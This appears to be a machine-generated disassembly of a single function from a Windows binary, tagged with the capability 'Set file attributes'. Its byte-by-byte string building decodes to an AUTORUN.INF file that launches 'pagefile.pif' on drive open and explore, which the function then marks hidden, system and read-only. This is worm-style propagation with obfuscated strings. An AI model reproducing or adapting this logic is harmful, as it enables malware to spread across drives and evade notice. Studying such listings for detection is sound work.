Function at 0x40583e
Capabilities:
Set file attributes

Disassembly:
mov eax, 0x407db4
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x20], ecx
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_2
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString_2
push 0x46
push 0x4e
push 0x49
push 0x2e
push 0x4e
push 0x55
push 0x52
push 0x4f
push 0x54
push 0x55
push 0x41
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c_c_c
push eax
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::Format
add esp, 0x34
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 4
call fcn.004070fe
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
push 0x5d
push 0x6e
push 0x75
push 0x52
push 0x6f
push 0x74
push 0x75
push 0x41
push 0x5b
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x2c
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call fcn.004070fe
mov esi, 0x40ab7c
lea ecx, [ebp - 0x14]
push esi
call sub.MFC42.DLL_CString::operator
push 0x66
push 0x69
push 0x70
push 0x2e
push 0x65
pop edi
push edi
push 0x6c
pop ebx
push ebx
push 0x69
push 0x66
push edi
push 0x67
push 0x61
push 0x70
push 0x3d
push 0x6e
push edi
push 0x70
push 0x6f
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x4c
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x29
push 0x4f
push 0x26
push 0x28
push 0x40ab78
push 0x40ab74
push 0x3d
push 0x6e
push edi
push 0x70
push 0x6f
push 0x5c
push ebx
push ebx
push edi
push 0x68
push 0x73
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c_c_c_s_s_c_c_c_c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x4c
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x66
push 0x69
push 0x70
push 0x2e
push edi
push ebx
push 0x69
push 0x66
push edi
push 0x67
push 0x61
push 0x70
push 0x3d
push 0x64
push 0x6e
push 0x61
push 0x6d
push 0x6d
push 0x6f
push 0x43
push 0x5c
push 0x6e
push edi
push 0x70
push 0x6f
push 0x5c
push ebx
push ebx
push edi
push 0x68
push 0x73
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x84
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x31
push 0x3d
push 0x74
push ebx
push 0x75
push 0x61
push 0x66
push edi
push 0x44
push 0x5c
push 0x6e
push edi
push 0x70
push 0x6f
push 0x5c
push ebx
push ebx
push edi
push 0x68
push 0x73
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x58
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x29
push 0x58
push 0x26
push 0x28
push 0x40aae0
push 0x40aadc
push 0x40aad8
push 0x40aad4
push 0x40aad0
push 0x3d
push edi
push 0x72
push 0x6f
push ebx
push 0x70
push 0x78
push edi
push 0x5c
push ebx
push ebx
push edi
push 0x68
push 0x73
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c_c_c_c_c_c_s_s_s_s_s_c_c_c_c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x64
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0x66
push 0x69
push 0x70
push 0x2e
push edi
push ebx
push 0x69
push 0x66
push edi
push 0x67
push 0x61
push 0x70
push 0x3d
push 0x64
push 0x6e
push 0x61
push 0x6d
push 0x6d
push 0x6f
push 0x43
push 0x5c
push edi
push 0x72
push 0x6f
push ebx
push 0x70
push 0x78
push edi
push 0x5c
push ebx
push ebx
push edi
push 0x68
push 0x73
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x90
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x14]
push eax
call sub.MFC42.DLL_CString::operator_1
push esi
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::operator
push 0
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.0040711c
call fcn.0040162d
pop ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.0040711c
mov esi, dword [ebp - 0x20]
mov ecx, esi
call fcn.0040164d
mov eax, dword [esi + 0x1b4]
add esi, 0x1b4
push 0
push 0x1001
push dword [ebp - 0x18]
mov ecx, esi
call dword [eax + 0x28]
test eax, eax
je 0x405b68
mov eax, dword [ebp - 0x14]
mov edx, dword [esi]
mov ecx, dword [eax - 8]
push ecx
push eax
mov ecx, esi
call dword [edx + 0x40]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x54]
push 7
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4